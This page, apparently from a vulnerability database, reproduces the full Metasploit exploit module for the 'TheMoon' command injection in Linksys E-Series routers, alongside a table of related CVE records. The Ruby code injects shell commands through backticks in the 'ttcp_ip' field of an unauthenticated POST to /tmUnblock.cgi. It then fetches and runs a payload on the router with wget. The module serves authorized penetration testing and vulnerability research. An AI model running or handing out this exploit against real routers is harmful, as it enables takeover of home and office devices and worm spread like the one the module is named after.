Linksys E-Series TheMoon Remote Command Injection
🗓️ 13 Feb 2014 00:00:00Reported by Johannes Ullrich, Rew, infodox, Michael Messner <[email protected]>, juan vazquez <[email protected]>Type
metasploit🔗 www.rapid7.com👁 72 Views
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2025-34037 | 24 Jun 202501:15 | – | attackerkb | |
| Exploit for CVE-2025-34037 | 26 Mar 202621:55 | – | githubexploit | |
| The vulnerability of the microprogrammed software of Linksys routers such as E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900 arises from the lack of measures to neutralize special elements, allowing attackers to execute arbitrary commands. | 24 Sep 202500:00 | – | bdu_fstec | |
| CVE-2025-34037 | 29 May 201815:50 | – | circl | |
| Linksys E-Series 安全漏洞 | 24 Jun 202500:00 | – | cnnvd | |
| CVE-2025-34037 | 24 Jun 202501:03 | – | cve | |
| CVE-2025-34037 Linksys Routers E/WAG/WAP/WES/WET/WRT-Series | 24 Jun 202501:03 | – | cvelist | |
| EUVD-2025-18964 | 3 Oct 202520:07 | – | euvd | |
| CVE-2025-34037 | 24 Jun 202501:15 | – | nvd | |
| PT-2025-26664 | 23 Jun 202500:00 | – | ptsecurity |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linksys E-Series TheMoon Remote Command Injection',
'Description' => %q{
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
injection. This vulnerability was used from the so-called "TheMoon" worm. There
are many Linksys systems that are potentially vulnerable, including E4200, E3200, E3000,
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, and E900. This module was tested
successfully against an E1500 v1.0.5.
},
'Author' => [
'Johannes Ullrich', # worm discovery
'Rew', # original exploit
'infodox', # another exploit
'Michael Messner <devnull[at]s3cur1ty.de>', # Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2025-34037' ],
[ 'EDB', '31683' ],
[ 'BID', '65585' ],
[ 'OSVDB', '103321' ],
[ 'PACKETSTORM', '125253' ],
[ 'PACKETSTORM', '125252' ],
[ 'URL', 'https://isc.sans.edu/diary/Linksys+Worm+%22TheMoon%22+Summary%3A+What+we+know+so+far/17633' ],
[ 'URL', 'https://isc.sans.edu/forums/diary/Linksys+Worm+TheMoon+Captured/17630' ]
],
'DisclosureDate' => '2014-02-13',
'Privileged' => true,
'Payload' => {
'DisableNops' => true
},
'Targets' => [
[
'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
[
'Linux mipsbe Payload',
{
'Arch' => ARCH_MIPSBE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => { 'WfsDelay' => 30 },
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def execute_command(cmd, _opts)
res = send_request_cgi({
'uri' => '/tmUnblock.cgi',
'method' => 'POST',
'encode_params' => true,
'vars_post' => {
'submit_button' => '',
'change_action' => '',
'action' => '',
'commit' => '0',
'ttcp_num' => '2',
'ttcp_size' => '2',
'ttcp_ip' => "-h `#{cmd}`",
'StartEPI' => '1'
}
}, 2)
return res
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
def check
begin
res = send_request_cgi({
'uri' => '/tmUnblock.cgi',
'method' => 'GET'
})
if res && [200, 301, 302].include?(res.code)
return Exploit::CheckCode::Detected('The target service was detected')
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown('Could not determine the target status')
end
Exploit::CheckCode::Unknown('Could not determine the target status')
end
def exploit
print_status('Trying to access the vulnerable URL...')
unless check == Exploit::CheckCode::Detected
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
end
print_status('Exploiting...')
execute_cmdstager({ flavor: :wget })
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Feb 2014 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 410
EPSS0.85837
SSVC